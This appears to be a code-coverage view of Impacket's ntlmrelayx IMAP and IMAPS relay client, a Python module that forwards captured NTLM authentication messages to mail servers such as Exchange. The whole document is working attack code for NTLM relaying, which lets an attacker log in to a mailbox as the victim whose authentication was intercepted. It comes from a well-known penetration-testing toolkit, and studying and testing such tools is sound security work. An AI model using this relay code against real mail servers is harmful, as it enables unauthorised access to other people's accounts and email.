Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# IMAP Protocol Client 

11# IMAP client for relaying NTLMSSP authentication to mailservers, for example Exchange 

12# 

13# Author: 

14# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

15# Alberto Solino (@agsolino) 

16# 

17import imaplib 

18import base64 

19from struct import unpack 

20 

21from impacket import LOG 

22from impacket.examples.ntlmrelayx.clients import ProtocolClient 

23from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

24from impacket.ntlm import NTLMAuthChallenge 

25from impacket.spnego import SPNEGO_NegTokenResp 

26 

27PROTOCOL_CLIENT_CLASSES = ["IMAPRelayClient","IMAPSRelayClient"] 

28 

29class IMAPRelayClient(ProtocolClient): 

30 PLUGIN_NAME = "IMAP" 

31 

32 def __init__(self, serverConfig, target, targetPort = 143, extendedSecurity=True ): 

33 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

34 

35 def initConnection(self): 

36 self.session = imaplib.IMAP4(self.targetHost,self.targetPort) 

37 self.authTag = self.session._new_tag() 

38 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 

39 if 'AUTH=NTLM' not in self.session.capabilities: 

40 LOG.error('IMAP server does not support NTLM authentication!') 

41 return False 

42 return True 

43 

44 def sendNegotiate(self,negotiateMessage): 

45 negotiate = base64.b64encode(negotiateMessage) 

46 self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag,imaplib.CRLF)) 

47 resp = self.session.readline().strip() 

48 if resp != '+': 

49 LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) 

50 return False 

51 else: 

52 self.session.send(negotiate + imaplib.CRLF) 

53 try: 

54 serverChallengeBase64 = self.session.readline().strip()[2:] #first two chars are the continuation and space char 

55 serverChallenge = base64.b64decode(serverChallengeBase64) 

56 challenge = NTLMAuthChallenge() 

57 challenge.fromString(serverChallenge) 

58 return challenge 

59 except (IndexError, KeyError, AttributeError): 

60 LOG.error('No NTLM challenge returned from IMAP server') 

61 raise 

62 

63 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

64 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

65 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

66 token = respToken2['ResponseToken'] 

67 else: 

68 token = authenticateMessageBlob 

69 auth = base64.b64encode(token) 

70 self.session.send(auth + imaplib.CRLF) 

71 typ, data = self.session._get_tagged_response(self.authTag) 

72 if typ == 'OK': 

73 self.session.state = 'AUTH' 

74 return None, STATUS_SUCCESS 

75 else: 

76 LOG.error('IMAP: %s' % ' '.join(data)) 

77 return None, STATUS_ACCESS_DENIED 

78 

79 def killConnection(self): 

80 if self.session is not None: 

81 self.session.logout() 

82 self.session = None 

83 

84 def keepAlive(self): 

85 # Send a NOOP 

86 self.session.noop() 

87 

88class IMAPSRelayClient(IMAPRelayClient): 

89 PLUGIN_NAME = "IMAPS" 

90 

91 def __init__(self, serverConfig, targetHost, targetPort = 993, extendedSecurity=True ): 

92 ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity) 

93 

94 def initConnection(self): 

95 self.session = imaplib.IMAP4_SSL(self.targetHost,self.targetPort) 

96 self.authTag = self.session._new_tag() 

97 LOG.debug('IMAP CAPABILITIES: %s' % str(self.session.capabilities)) 

98 if 'AUTH=NTLM' not in self.session.capabilities: 

99 LOG.error('IMAP server does not support NTLM authentication!') 

100 return False 

101 return True